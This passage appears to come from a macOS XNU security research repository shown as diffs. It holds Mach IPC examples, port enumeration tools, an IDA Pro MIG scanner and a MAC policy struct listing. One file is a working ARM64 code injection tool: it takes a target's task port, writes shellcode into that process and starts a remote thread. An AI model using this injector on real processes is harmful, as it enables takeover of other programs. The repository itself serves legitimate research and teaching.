printf("Received message: %s\n", (char*)message);
return KERN_SUCCESS;
}
int main() {
mach_port_t port;
kern_return_t kr;
// Register our service with the bootstrap server
kr = bootstrap_check_in(bootstrap_port, "com.crimson.message_service", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_check_in() failed with code 0x%x\n", kr);
return 1;
}
// Start message handling loop using MIG-generated server function
// 4096 is the maximum message size
mach_msg_server(message_server, 4096, port, MACH_MSG_TIMEOUT_NONE);
return 0;
}

View File

@@ -0,0 +1,22 @@
# Makefile for Mach IPC example without MIG
# Compiler settings
CC = gcc
CFLAGS = -Wall -Werror
# Default target
all: server client
# Build server
server: server.c
$(CC) $(CFLAGS) server.c -o server
# Build client
client: client.c
$(CC) $(CFLAGS) client.c -o client
# Clean generated files and executables
clean:
rm -f server client
.PHONY: all clean

View File

@@ -0,0 +1,77 @@
// client.c
#include <stdio.h>
#include <string.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
/*
* Message structure for IPC communication
* Consists of two parts:
* 1. mach_msg_header_t h - Standard Mach message header required for all IPC
* 2. char d[1024] - Data buffer for the actual message content
*/
typedef struct {
mach_msg_header_t h; // Header must be first member
char d[1024]; // Data buffer follows immediately after header
} msg_t;
int main(int argc, char *argv[]) {
// Validate command line arguments
if (argc != 2) {
printf("Usage: %s <message>\n", argv[0]);
return 1;
}
// Step 1: Get the bootstrap port
// Bootstrap server is the central name server in Mach IPC
mach_port_t bootstrap_port;
task_get_special_port(mach_task_self(),
TASK_BOOTSTRAP_PORT,
&bootstrap_port);
// Step 2: Look up the service port using bootstrap server
// This finds our server process using the registered name
mach_port_t service_port;
kern_return_t kr = bootstrap_look_up(bootstrap_port,
"com.crimson.message_service",
&service_port);
if (kr != KERN_SUCCESS) {
printf("Service not found\n");
return 1;
}
// Step 3: Prepare the message structure
// Initialize message structure to zero
msg_t message = {0};
// Configure message header
message.h.msgh_bits = MACH_MSGH_BITS_REMOTE(MACH_MSG_TYPE_COPY_SEND); // Set message type to copy-send
message.h.msgh_size = sizeof(msg_t); // Total size of message struct
message.h.msgh_remote_port = service_port; // Destination port
message.h.msgh_local_port = MACH_PORT_NULL; // No reply port needed
message.h.msgh_id = 0; // Message ID (unused in this case)
// Copy the user's message into data buffer
// Using strncpy to prevent buffer overflow
strncpy(message.d, argv[1], sizeof(message.d) - 1);
message.d[sizeof(message.d) - 1] = '\0'; // Ensure null termination
// Step 4: Send the message
kr = mach_msg(
&message.h, // Message header pointer
MACH_SEND_MSG, // Send-only operation
sizeof(msg_t), // Size of entire message
0, // Maximum receive size (unused for send)
MACH_PORT_NULL, // Destination port (unused for send)
MACH_MSG_TIMEOUT_NONE,// No timeout
MACH_PORT_NULL // No notify port
);
// Step 5: Check for errors and return status
if (kr != KERN_SUCCESS) {
printf("Failed to send message\n");
return 1;
}
return 0;
}

View File

@@ -0,0 +1,55 @@
// server.c
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Step 1: Get the bootstrap port
mach_port_t bootstrap_port;
task_get_special_port(mach_task_self(),
TASK_BOOTSTRAP_PORT,
&bootstrap_port);
// Step 2: Register our service with the bootstrap server
// This allows clients to find us using the service name
mach_port_t service_port;
kern_return_t kr = bootstrap_check_in(bootstrap_port,
"com.crimson.message_service",
&service_port);
if (kr != KERN_SUCCESS) {
printf("Failed to register service\n");
return 1;
}
printf("Server running...\n");
// Allocate buffer for receiving messages
// Buffer must be large enough for header + maximum message size
char buffer[2048];
mach_msg_header_t *msg = (mach_msg_header_t*)buffer;
// Main message receive loop
while (1) {
// Receive message
kr = mach_msg(
msg, // Buffer to receive message
MACH_RCV_MSG, // Receive-only operation
0, // Send size (unused for receive)
sizeof(buffer), // Maximum receive size
service_port, // Port to receive on
MACH_MSG_TIMEOUT_NONE, // No timeout
MACH_PORT_NULL // No notify port
);
// Process received message
if (kr == KERN_SUCCESS) {
// Message data follows immediately after header
char *data = (char*)(msg + 1);
printf("Received: %s\n", data);
} else {
printf("Error receiving message\n");
}
}
return 0; // Never reached in this example
}

View File

@@ -0,0 +1,100 @@
#include <mach/mach.h>
#include <mach/mach_init.h>
#include <mach/mach_error.h>
#include <mach/task_special_ports.h>
#include <stdio.h>
#include <stdlib.h>
const char* get_special_port_name(int port_id) {
switch (port_id) {
case TASK_KERNEL_PORT:
return "TASK_KERNEL_PORT";
case TASK_HOST_PORT:
return "TASK_HOST_PORT";
case TASK_NAME_PORT:
return "TASK_NAME_PORT";
case TASK_BOOTSTRAP_PORT:
return "TASK_BOOTSTRAP_PORT";
case TASK_INSPECT_PORT:
return "TASK_INSPECT_PORT";
case TASK_READ_PORT:
return "TASK_READ_PORT";
case TASK_ACCESS_PORT:
return "TASK_ACCESS_PORT";
case TASK_DEBUG_CONTROL_PORT:
return "TASK_DEBUG_CONTROL_PORT";
case TASK_RESOURCE_NOTIFY_PORT:
return "TASK_RESOURCE_NOTIFY_PORT";
default:
return "UNKNOWN_PORT";
}
}
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <pid>\n", argv[0]);
return 1;
}
pid_t pid = atoi(argv[1]);
task_t task;
kern_return_t kr = task_for_pid(mach_task_self(), pid, &task);
if (kr != KERN_SUCCESS) {
printf("Failed to get task for pid %d: %s (0x%x)\n",
pid, mach_error_string(kr), kr);
return 1;
}
int special_ports[] = {
TASK_KERNEL_PORT,
TASK_HOST_PORT,
TASK_NAME_PORT,
TASK_BOOTSTRAP_PORT,
TASK_INSPECT_PORT,
TASK_READ_PORT,
TASK_ACCESS_PORT,
TASK_DEBUG_CONTROL_PORT,
TASK_RESOURCE_NOTIFY_PORT
};
int num_ports = sizeof(special_ports) / sizeof(special_ports[0]);
printf("Listing Special Ports for PID %d (1 to %d):\n", pid, TASK_MAX_SPECIAL_PORT);
printf("================================\n");
for (int i = 0; i < num_ports; i++) {
mach_port_t special_port;
kr = task_get_special_port(task, special_ports[i], &special_port);
printf("Port %d (%s):\n", special_ports[i], get_special_port_name(special_ports[i]));
printf(" Status: %s\n", kr == KERN_SUCCESS ? "SUCCESS" : "FAILED");
if (kr != KERN_SUCCESS) {
printf(" Error: %s (0x%x)\n", mach_error_string(kr), kr);
} else {
printf(" Port number: 0x%x\n", special_port);
mach_port_type_t port_type;
kr = mach_port_type(task, special_port, &port_type);
if (kr == KERN_SUCCESS) {
printf(" Rights: ");
if (port_type & MACH_PORT_TYPE_SEND)
printf("SEND ");
if (port_type & MACH_PORT_TYPE_RECEIVE)
printf("RECEIVE ");
if (port_type & MACH_PORT_TYPE_SEND_ONCE)
printf("SEND_ONCE ");
if (port_type & MACH_PORT_TYPE_PORT_SET)
printf("PORT_SET ");
if (port_type & MACH_PORT_TYPE_DEAD_NAME)
printf("DEAD_NAME ");
printf("\n");
}
}
printf("\n");
}
mach_port_deallocate(mach_task_self(), task);
return 0;
}

View File

@@ -0,0 +1,87 @@
// Ports from: https://github.com/apple-oss-distributions/xnu/blob/8d741a5de7ff4191bf97d57b9f54c2f6d4a15585/osfmk/mach/task_special_ports.h#L70-L98
// clang -o enum_special_port_rights enum_special_port_rights.c
#include <mach/mach.h>
#include <mach/mach_init.h>
#include <mach/mach_error.h>
#include <mach/task_special_ports.h>
#include <stdio.h>
const char* get_special_port_name(int port_id) {
switch (port_id) {
case TASK_KERNEL_PORT:
return "TASK_KERNEL_PORT";
case TASK_HOST_PORT:
return "TASK_HOST_PORT";
case TASK_NAME_PORT:
return "TASK_NAME_PORT";
case TASK_BOOTSTRAP_PORT:
return "TASK_BOOTSTRAP_PORT";
case TASK_INSPECT_PORT:
return "TASK_INSPECT_PORT";
case TASK_READ_PORT:
return "TASK_READ_PORT";
case TASK_ACCESS_PORT:
return "TASK_ACCESS_PORT";
case TASK_DEBUG_CONTROL_PORT:
return "TASK_DEBUG_CONTROL_PORT";
case TASK_RESOURCE_NOTIFY_PORT:
return "TASK_RESOURCE_NOTIFY_PORT";
default:
return "UNKNOWN_PORT";
}
}
int main() {
task_t task = mach_task_self();
int special_ports[] = {
TASK_KERNEL_PORT,
TASK_HOST_PORT,
TASK_NAME_PORT,
TASK_BOOTSTRAP_PORT,
TASK_INSPECT_PORT,
TASK_READ_PORT,
TASK_ACCESS_PORT,
TASK_DEBUG_CONTROL_PORT,
TASK_RESOURCE_NOTIFY_PORT
};
int num_ports = sizeof(special_ports) / sizeof(special_ports[0]);
printf("Listing All Special Ports (1 to %d):\n", TASK_MAX_SPECIAL_PORT);
printf("================================\n");
for (int i = 0; i < num_ports; i++) {
mach_port_t special_port;
kern_return_t kr = task_get_special_port(task, special_ports[i], &special_port);
printf("Port %d (%s):\n", special_ports[i], get_special_port_name(special_ports[i]));
printf(" Status: %s\n", kr == KERN_SUCCESS ? "SUCCESS" : "FAILED");
if (kr != KERN_SUCCESS) {
printf(" Error: %s (0x%x)\n", mach_error_string(kr), kr);
} else {
printf(" Port number: 0x%x\n", special_port);
mach_port_type_t port_type;
kr = mach_port_type(task, special_port, &port_type);
if (kr == KERN_SUCCESS) {
printf(" Rights: ");
if (port_type & MACH_PORT_TYPE_SEND)
printf("SEND ");
if (port_type & MACH_PORT_TYPE_RECEIVE)
printf("RECEIVE ");
if (port_type & MACH_PORT_TYPE_SEND_ONCE)
printf("SEND_ONCE ");
if (port_type & MACH_PORT_TYPE_PORT_SET)
printf("PORT_SET ");
if (port_type & MACH_PORT_TYPE_DEAD_NAME)
printf("DEAD_NAME ");
printf("\n");
}
}
printf("\n");
}
return 0;
}

View File

@@ -0,0 +1,189 @@
"""
IDA Pro MIG Subsystem Scanner
Automatically identifies and labels Mach Interface Generator (MIG) subsystems
in XNU kernelcache, kext binaries and other Mach-based binaries.
Author: Karol Mazurek @karmaz95
Based on: https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py
Usage: Run from IDA Pro's script console or via File > Script file
"""
import idc
import idautils
import idaapi
import ida_bytes
import ida_name
import ida_segment
import ida_funcs
class MIGSubsystemScanner:
"""Scanner for MIG subsystem structures in Mach kernel binaries."""
# Target segments where MIG subsystems are typically stored
TARGET_SEGMENTS = [
"__DATA:__const",
"__CONST:__constdata",
"__DATA_CONST:__const",
"__const"
]
# MIG subsystem structure offsets (arm64)
OFFSET_START = 0x08 # subsystem start ID (u32)
OFFSET_END = 0x0C # subsystem end ID (u32)
OFFSET_RESERVED = 0x18 # reserved field (u64)
OFFSET_ROUTINES = 0x20 # routine array start (u64)
# MIG routine descriptor size
ROUTINE_SIZE = 0x28 # 40 bytes per routine
ROUTINE_STUB_OFFSET = 0x08 # stub_routine pointer offset
def __init__(self):
self.found_count = 0
self.total_messages = 0
def is_valid_subsystem(self, addr):
"""
Validate potential MIG subsystem structure using heuristics.
Args:
addr: Address to check
Returns:
tuple: (is_valid, start_id, end_id) or (False, 0, 0)
"""
# Check reserved field must be 0
reserved = ida_bytes.get_qword(addr + self.OFFSET_RESERVED)
if reserved != 0:
return (False, 0, 0)
# Check first routine impl must be 0 (first entry is always NULL)
routine0_impl = ida_bytes.get_qword(addr + self.OFFSET_ROUTINES)
if routine0_impl != 0:
return (False, 0, 0)
# Read subsystem ID range
start_id = ida_bytes.get_dword(addr + self.OFFSET_START)
end_id = ida_bytes.get_dword(addr + self.OFFSET_END)
# Validate ID range
num_msgs = end_id - start_id
if start_id == 0 or num_msgs <= 0 or num_msgs >= 1024:
return (False, 0, 0)
return (True, start_id, end_id)
def label_subsystem(self, addr, start_id, end_id):
"""
Label MIG subsystem structure and its routine handlers.
Args:
addr: Address of subsystem structure
start_id: Starting message ID
end_id: Ending message ID
"""
num_msgs = end_id - start_id
subsys_name = f"MIG_subsystem_{start_id}"
print(f"[+] Found {subsys_name} at {hex(addr)}")
print(f" Message range: {start_id} - {end_id} ({num_msgs} handlers)")
# Label the subsystem structure
ida_name.set_name(addr, subsys_name, ida_name.SN_NOWARN | ida_name.SN_NOCHECK)
idc.set_cmt(addr, f"MIG Subsystem {start_id}-{end_id}", 0)
# Process each routine in the subsystem
array_base = addr + self.OFFSET_ROUTINES
labeled_count = 0
for i in range(num_msgs):
routine_addr = array_base + (i * self.ROUTINE_SIZE)
stub_ptr_addr = routine_addr + self.ROUTINE_STUB_OFFSET
stub_func_ea = ida_bytes.get_qword(stub_ptr_addr)
msg_id = start_id + i
# Skip NULL entries
if stub_func_ea == 0 or stub_func_ea == 0xFFFFFFFFFFFFFFFF:
continue
# Verify pointer points to valid code segment
if not ida_segment.getseg(stub_func_ea):
continue
# Create descriptive name for message handler
handler_name = f"MIG_msg_{msg_id}_handler"
# Label the handler function
if ida_name.set_name(stub_func_ea, handler_name, ida_name.SN_NOWARN):
labeled_count += 1
# Make sure it's treated as a function
if not ida_funcs.get_func(stub_func_ea):
ida_funcs.add_func(stub_func_ea)
# Add comment at pointer location
idc.set_cmt(stub_ptr_addr, f"Handler for MIG message {msg_id}", 0)
print(f" Labeled {labeled_count}/{num_msgs} handlers")
self.total_messages += labeled_count
self.found_count += 1
def scan_segment(self, seg_ea):
"""
Scan a single segment for MIG subsystems.
Args:
seg_ea: Segment address
"""
seg_name = idc.get_segm_name(seg_ea)
start = idc.get_segm_start(seg_ea)
end = idc.get_segm_end(seg_ea)
# Leave safety buffer for structure reads
scan_end = end - self.ROUTINE_SIZE
print(f"\n[*] Scanning {seg_name} ({hex(start)} - {hex(end)})")
# Scan with 8-byte alignment (pointer size on arm64)
for addr in range(start, scan_end, 8):
is_valid, start_id, end_id = self.is_valid_subsystem(addr)
if is_valid:
self.label_subsystem(addr, start_id, end_id)
def scan(self):
"""Main scanning routine - iterate all relevant segments."""
print("=" * 70)
print("MIG Subsystem Scanner for IDA Pro")
print("=" * 70)
# Find and scan target segments
scanned_segments = 0
for seg_ea in idautils.Segments():
seg_name = idc.get_segm_name(seg_ea)
if any(target in seg_name for target in self.TARGET_SEGMENTS):
self.scan_segment(seg_ea)
scanned_segments += 1
# Print summary
print("\n" + "=" * 70)
print(f"Scan Complete!")
print(f" Segments scanned: {scanned_segments}")
print(f" Subsystems found: {self.found_count}")
print(f" Message handlers labeled: {self.total_messages}")
print("=" * 70)
def main():
"""Entry point for the script."""
scanner = MIGSubsystemScanner()
scanner.scan()
# Refresh IDA views to show new names
idaapi.refresh_idaview_anyway()
print("\n[*] IDA views refreshed. Check Functions window for MIG_msg_* handlers")
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,63 @@
#include <stdio.h>
#include <mach/mach.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <pid>\n", argv[0]);
return 1;
}
pid_t target_pid = atoi(argv[1]);
kern_return_t kr;
mach_port_t task;
kr = task_for_pid(mach_task_self(), target_pid, &task);
if (kr != KERN_SUCCESS) {
printf("Failed to get task for pid %d: %s\n", target_pid, mach_error_string(kr));
return 1;
}
ipc_info_name_array_t table_info;
mach_msg_type_number_t table_infoCnt;
ipc_info_tree_name_array_t tree_info;
mach_msg_type_number_t tree_infoCnt;
ipc_info_space_t space_info;
kr = mach_port_space_info(task, &space_info, &table_info, &table_infoCnt, &tree_info, &tree_infoCnt);
if (kr != KERN_SUCCESS) {
printf("Failed to get port space info: %s\n", mach_error_string(kr));
return 1;
}
printf("IPC Space Info:\n");
printf("Table size: %d, Next: %d, Active ports: %d\n\n",
space_info.iis_table_size, space_info.iis_table_next, table_infoCnt);
printf("%-6s | %-6s | %-20s | %-4s | %-10s\n",
"Index", "Name", "Rights", "Refs", "Generation");
printf("-------------------------------------------------------------------\n");
for (int i = 0; i < table_infoCnt; i++) {
char rights[32] = "";
if (table_info[i].iin_type & MACH_PORT_TYPE_RECEIVE) strcat(rights, "RECV ");
if (table_info[i].iin_type & MACH_PORT_TYPE_SEND) strcat(rights, "SEND ");
if (table_info[i].iin_type & MACH_PORT_TYPE_SEND_ONCE) strcat(rights, "ONCE ");
if (table_info[i].iin_type & MACH_PORT_TYPE_PORT_SET) strcat(rights, "SET ");
if (table_info[i].iin_type & MACH_PORT_TYPE_DEAD_NAME) strcat(rights, "DEAD ");
if (rights[0] == '\0') strcpy(rights, "IO_NULL");
printf("%-6d | 0x%-4x | %-20s | %-4d | %-10d\n",
i,
table_info[i].iin_name,
rights,
table_info[i].iin_urefs,
MACH_PORT_INDEX(table_info[i].iin_name) >> 24);
}
mach_port_deallocate(mach_task_self(), task);
vm_deallocate(mach_task_self(), (vm_address_t)table_info, table_infoCnt * sizeof(*table_info));
vm_deallocate(mach_task_self(), (vm_address_t)tree_info, tree_infoCnt * sizeof(*tree_info));
return 0;
}

View File

@@ -0,0 +1,52 @@
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <service_name>\n", argv[0]);
return 1;
}
const char *service_name = argv[1];
mach_port_t bootstrap_port, service_port;
kern_return_t kr;
// Get the bootstrap port
kr = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);
if (kr != KERN_SUCCESS) {
printf("Failed to get bootstrap port: %s\n", mach_error_string(kr));
return 1;
}
// Look up the service
kr = bootstrap_look_up(bootstrap_port, service_name, &service_port);
if (kr != KERN_SUCCESS) {
printf("Service '%s' not found: %s\n", service_name, mach_error_string(kr));
return 1;
}
// Get port rights information
mach_port_type_t type;
kr = mach_port_type(mach_task_self(), service_port, &type);
if (kr != KERN_SUCCESS) {
printf("Failed to get port type: %s\n", mach_error_string(kr));
return 1;
}
printf("Service: %s\n", service_name);
printf("Port: 0x%x\n", service_port);
printf("Rights: ");
if (type & MACH_PORT_TYPE_RECEIVE) printf("RECV ");
if (type & MACH_PORT_TYPE_SEND) printf("SEND ");
if (type & MACH_PORT_TYPE_SEND_ONCE) printf("ONCE ");
if (type & MACH_PORT_TYPE_PORT_SET) printf("SET ");
if (type & MACH_PORT_TYPE_DEAD_NAME) printf("DEAD ");
printf("\n");
// Cleanup
mach_port_deallocate(mach_task_self(), service_port);
mach_port_deallocate(mach_task_self(), bootstrap_port);
return 0;
}

View File

@@ -0,0 +1,205 @@
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h> // Core Mach kernel interfaces
#include <mach/mach_vm.h> // Virtual memory management
#include <mach/arm/thread_status.h> // ARM64 thread state definitions
#include <unistd.h>
#include <pthread.h>
/*
* This is our shellcode that will run in the target process.
* The __attribute__((naked)) tells the compiler not to add any function prologue/epilogue
* code - we want complete control over the assembly.
*
* What this shellcode does:
* 1. Creates a file at /tmp/research_success
* 2. Writes "pwn" to it
* 3. Exits cleanly
*/
__attribute__((naked)) void shellcode() {
__asm__(
// Set up our stack frame - allocate 32 bytes
"sub sp, sp, #0x20\n"
// Open a file
// The adr instruction loads the address of our filename relative to the current position
"adr x0, 1f\n" // Load filename into x0 (first argument)
"mov x1, #0x601\n" // Flags: O_CREAT|O_WRONLY|O_TRUNC
"mov x2, #0666\n" // File permissions: rw-rw-rw-
"mov x16, #5\n" // System call number for open()
"svc #0x80\n" // Make the system call
// Write to the file
"mov x19, x0\n" // Save file descriptor for later
"adr x1, 2f\n" // Load address of content to write
"mov x2, #4\n" // Length of content (including newline)
"mov x16, #4\n" // System call number for write()
"svc #0x80\n"
// Exit cleanly
"mov x0, #0\n" // Exit code 0
"mov x16, #1\n" // System call number for exit()
"svc #0x80\n"
// Data section
".align 4\n" // Align data to 4-byte boundary
"1: .asciz \"/tmp/research_success\"\n" // Null-terminated filename
"2: .asciz \"pwn\\n\"\n" // Content to write
);
}
/*
* Validates that we have a working task port
* A task port is like a "handle" to another process in macOS,
* giving us permission to interact with it
*/
static boolean_t verify_task_port(mach_port_t task) {
task_flavor_t flavor = TASK_BASIC_INFO;
task_basic_info_data_t info;
mach_msg_type_number_t count = TASK_BASIC_INFO_COUNT;
// Try to get basic info about the task - if this succeeds,
// we know we have a valid task port
kern_return_t kr = task_info(task, flavor, (task_info_t)&info, &count);
return (kr == KERN_SUCCESS);
}
/*
* This function handles the memory operations needed to inject our code
* into the target process. It:
* 1. Allocates memory in the target process
* 2. Copies our shellcode into that memory
* 3. Sets the memory permissions so the code can execute
*/
kern_return_t map_memory(mach_port_t task, mach_vm_address_t *addr, void *data, size_t size) {
kern_return_t kr;
// First, make sure our task port is valid
if (!verify_task_port(task)) {
printf("Invalid task port provided\n");
return KERN_INVALID_TASK;
}
// Memory pages must be page-aligned in macOS
// This rounds up our allocation size to the next page boundary
vm_size_t page_size = vm_page_size;
size_t aligned_size = (size + page_size - 1) & ~(page_size - 1);
// Allocate memory in the target process
// VM_FLAGS_ANYWHERE lets the kernel choose a suitable address
kr = mach_vm_allocate(task, addr, aligned_size, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) {
printf("Memory allocation failed: %d (0x%x)\n", kr, kr);
printf("Attempted to allocate %zu bytes\n", aligned_size);
return kr;
}
// Copy our shellcode into the allocated memory
kr = mach_vm_write(task, *addr, (vm_offset_t)data, size);
if (kr != KERN_SUCCESS) {
printf("Memory write failed: %d (0x%x)\n", kr, kr);
mach_vm_deallocate(task, *addr, aligned_size);
return kr;
}
// Set the memory permissions to allow execution
// We need both read and execute permissions for the code to run
kr = mach_vm_protect(task, *addr, aligned_size, FALSE,
VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS) {
printf("Memory protection change failed: %d (0x%x)\n", kr, kr);
mach_vm_deallocate(task, *addr, aligned_size);
return kr;
}
return KERN_SUCCESS;
}
/*
* This is the main injection function that orchestrates the whole process:
* 1. Verifies we can work with the target process
* 2. Maps our shellcode into it
* 3. Creates a new thread to run our code
*/
kern_return_t inject_code(mach_port_t task) {
kern_return_t kr;
void *shellcode_ptr = (void*)shellcode;
size_t shellcode_size = 256; // Space for our shellcode and any data it needs
mach_vm_address_t remote_code = 0;
// Verify we can work with this task
task_basic_info_data_t info;
mach_msg_type_number_t count = TASK_BASIC_INFO_COUNT;
kr = task_info(task, TASK_BASIC_INFO, (task_info_t)&info, &count);
if (kr != KERN_SUCCESS) {
printf("Failed to get task info: %d (0x%x)\n", kr, kr);
return kr;
}
// Copy our shellcode into the target process
kr = map_memory(task, &remote_code, shellcode_ptr, shellcode_size);
if (kr != KERN_SUCCESS) {
return kr;
}
// Set up the initial register state for our new thread
arm_thread_state64_t thread_state = {0};
thread_state.__pc = remote_code; // Program counter - where to start executing
thread_state.__sp = (remote_code + 0x1000) & ~0xFULL; // Stack pointer - aligned to 16 bytes
thread_state.__x[29] = thread_state.__sp; // Frame pointer
// Create and start a new thread in the target process
thread_act_t new_thread;
kr = thread_create_running(task,
ARM_THREAD_STATE64,
(thread_state_t)&thread_state,
ARM_THREAD_STATE64_COUNT,
&new_thread);
if (kr != KERN_SUCCESS) {
printf("Thread creation failed: %d (0x%x)\n", kr, kr);
mach_vm_deallocate(task, remote_code, shellcode_size);
return kr;
}
return KERN_SUCCESS;
}
/*
* Main entry point - takes a process ID as argument
* This is where we:
* 1. Get access to the target process
* 2. Inject and run our code in it
* 3. Report success or failure
*/
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <pid>\n", argv[0]);
return 1;
}
pid_t target_pid = atoi(argv[1]);
// Get a task port for the target process
// This is our "handle" to interact with it
mach_port_t task;
kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &task);
if (kr != KERN_SUCCESS) {
printf("Failed to get task for pid %d: %d (0x%x)\n", target_pid, kr, kr);
return 1;
}
printf("Successfully got task port: %d\n", task);
// Do the injection
kr = inject_code(task);
if (kr != KERN_SUCCESS) {
printf("Injection failed with error: %d (0x%x)\n", kr, kr);
return 1;
}
printf("Injection successful\n");
printf("Check /tmp/research_success to verify execution\n");
return 0;
}

View File

@@ -0,0 +1,8 @@
#include <unistd.h>
int main() {
const char *message = "Hello, Kernelspace!\n";
write(1, message, 20); // Direct system call to write to stdout
return 0;
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 404 KiB

337
X. NU/mac/mac_policy_ops Normal file
View File

@@ -0,0 +1,337 @@
struct mac_policy_ops {
void* mpo_audit_check_postselect;
void* mpo_audit_check_preselect;
void* mpo_reserved01;
void* mpo_reserved02;
void* mpo_reserved03;
void* mpo_reserved04;
void* mpo_cred_check_label_update_execve;
void* mpo_cred_check_label_update;
void* mpo_cred_check_visible;
void* mpo_cred_label_associate_fork;
void* mpo_cred_label_associate_kernel;
void* mpo_cred_label_associate;
void* mpo_cred_label_associate_user;
void* mpo_cred_label_destroy;
void* mpo_cred_label_externalize_audit;
void* mpo_cred_label_externalize;
void* mpo_cred_label_init;
void* mpo_cred_label_internalize;
void* mpo_cred_label_update_execve;
void* mpo_cred_label_update;
void* mpo_devfs_label_associate_device;
void* mpo_devfs_label_associate_directory;
void* mpo_devfs_label_copy;
void* mpo_devfs_label_destroy;
void* mpo_devfs_label_init;
void* mpo_devfs_label_update;
void* mpo_file_check_change_offset;
void* mpo_file_check_create;
void* mpo_file_check_dup;
void* mpo_file_check_fcntl;
void* mpo_file_check_get_offset;
void* mpo_file_check_get;
void* mpo_file_check_inherit;
void* mpo_file_check_ioctl;
void* mpo_file_check_lock;
void* mpo_file_check_mmap_downgrade;
void* mpo_file_check_mmap;
void* mpo_file_check_receive;
void* mpo_file_check_set;
void* mpo_file_label_init; /* deprecated not called anymore */
void* mpo_file_label_destroy; /* deprecated not called anymore */
void* mpo_file_label_associate; /* deprecated not called anymore */
void* mpo_file_notify_close;
void* mpo_proc_check_launch_constraints;
void* mpo_proc_notify_service_port_derive;
void* mpo_proc_check_set_task_exception_port;
void* mpo_proc_check_set_thread_exception_port;
void* mpo_proc_check_delegated_signal;
void* mpo_reserved08;
void* mpo_reserved09;
void* mpo_reserved10;
void* mpo_reserved11;
void* mpo_reserved12;
void* mpo_reserved13;
void* mpo_reserved14;
void* mpo_reserved15;
void* mpo_reserved16;
void* mpo_reserved17;
void* mpo_reserved18;
void* mpo_reserved19;
void* mpo_reserved20;
void* mpo_reserved21;
void* mpo_necp_check_open;
void* mpo_necp_check_client_action;
void* mpo_file_check_library_validation;
void* mpo_vnode_notify_setacl;
void* mpo_vnode_notify_setattrlist;
void* mpo_vnode_notify_setextattr;
void* mpo_vnode_notify_setflags;
void* mpo_vnode_notify_setmode;
void* mpo_vnode_notify_setowner;
void* mpo_vnode_notify_setutimes;
void* mpo_vnode_notify_truncate;
void* mpo_vnode_check_getattrlistbulk;
void* mpo_proc_check_get_task_special_port;
void* mpo_proc_check_set_task_special_port;
void* mpo_vnode_notify_swap;
void* mpo_vnode_notify_unlink;
void* mpo_vnode_check_swap;
void* mpo_reserved33;
void* mpo_reserved34;
void* mpo_reserved35;
void* mpo_vnode_check_copyfile;
void* mpo_mount_check_quotactl;
void* mpo_mount_check_fsctl;
void* mpo_mount_check_getattr;
void* mpo_mount_check_label_update;
void* mpo_mount_check_mount;
void* mpo_mount_check_remount;
void* mpo_mount_check_setattr;
void* mpo_mount_check_stat;
void* mpo_mount_check_umount;
void* mpo_mount_label_associate;
void* mpo_mount_label_destroy;
void* mpo_mount_label_externalize;
void* mpo_mount_label_init;
void* mpo_mount_label_internalize;
void* mpo_proc_check_expose_task_with_flavor;
void* mpo_proc_check_get_task_with_flavor;
void* mpo_proc_check_task_id_token_get_task;
void* mpo_pipe_check_ioctl;
void* mpo_pipe_check_kqfilter;
void* mpo_reserved41;
void* mpo_pipe_check_read;
void* mpo_pipe_check_select;
void* mpo_pipe_check_stat;
void* mpo_pipe_check_write;
void* mpo_pipe_label_associate;
void* mpo_reserved42;
void* mpo_pipe_label_destroy;
void* mpo_reserved43;
void* mpo_pipe_label_init;
void* mpo_reserved44;
void* mpo_proc_check_syscall_mac;
void* mpo_policy_destroy;
void* mpo_policy_init;
void* mpo_policy_initbsd;
void* mpo_policy_syscall;
void* mpo_system_check_sysctlbyname;
void* mpo_proc_check_inherit_ipc_ports;
void* mpo_vnode_check_rename;
void* mpo_kext_check_query;
void* mpo_proc_notify_exec_complete;
void* mpo_proc_notify_cs_invalidated;
void* mpo_proc_check_syscall_unix;
void* mpo_reserved45;
void* mpo_proc_check_set_host_special_port;
void* mpo_proc_check_set_host_exception_port;
void* mpo_exc_action_check_exception_send;
void* mpo_exc_action_label_associate;
void* mpo_exc_action_label_populate;
void* mpo_exc_action_label_destroy;
void* mpo_exc_action_label_init;
void* mpo_exc_action_label_update;
void* mpo_vnode_check_trigger_resolve;
void* mpo_mount_check_mount_late;
void* mpo_mount_check_snapshot_mount;
void* mpo_vnode_notify_reclaim;
void* mpo_skywalk_flow_check_connect;
void* mpo_skywalk_flow_check_listen;
void* mpo_posixsem_check_create;
void* mpo_posixsem_check_open;
void* mpo_posixsem_check_post;
void* mpo_posixsem_check_unlink;
void* mpo_posixsem_check_wait;
void* mpo_posixsem_label_associate;
void* mpo_posixsem_label_destroy;
void* mpo_posixsem_label_init;
void* mpo_posixshm_check_create;
void* mpo_posixshm_check_mmap;
void* mpo_posixshm_check_open;
void* mpo_posixshm_check_stat;
void* mpo_posixshm_check_truncate;
void* mpo_posixshm_check_unlink;
void* mpo_posixshm_label_associate;
void* mpo_posixshm_label_destroy;
void* mpo_posixshm_label_init;
void* mpo_proc_check_debug;
void* mpo_proc_check_fork;
void* mpo_reserved61;
void* mpo_reserved62;
void* mpo_proc_check_getaudit;
void* mpo_proc_check_getauid;
void* mpo_reserved63;
void* mpo_proc_check_mprotect;
void* mpo_proc_check_sched;
void* mpo_proc_check_setaudit;
void* mpo_proc_check_setauid;
void* mpo_reserved64;
void* mpo_proc_check_signal;
void* mpo_proc_check_wait;
void* mpo_proc_check_dump_core;
void* mpo_proc_check_remote_thread_create;
void* mpo_socket_check_accept;
void* mpo_socket_check_accepted;
void* mpo_socket_check_bind;
void* mpo_socket_check_connect;
void* mpo_socket_check_create;
void* mpo_reserved46;
void* mpo_reserved47;
